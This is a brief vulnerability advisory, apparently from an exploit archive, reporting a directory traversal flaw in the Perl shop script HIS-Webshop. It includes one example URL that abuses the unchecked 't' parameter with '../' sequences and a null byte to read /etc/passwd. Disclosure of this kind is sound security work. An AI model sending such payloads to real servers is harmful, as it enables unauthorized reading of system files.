HIS-webshop suffers from a directory traversal vulnerability.
18089bcbb85dcbdcf98afbd67df51a19989a0a88193f6b6cbe9331fafc4d2b18
HIS-Webshop is a shopping-system written in Perl by www.shoppark.de
The script doesn´t check the "t"-parameter.
Example:
http://server.com/cgi-bin/his-webshop.pl?t=../../../../../../../../etc/passwd%00
<< Greetz Zero X >>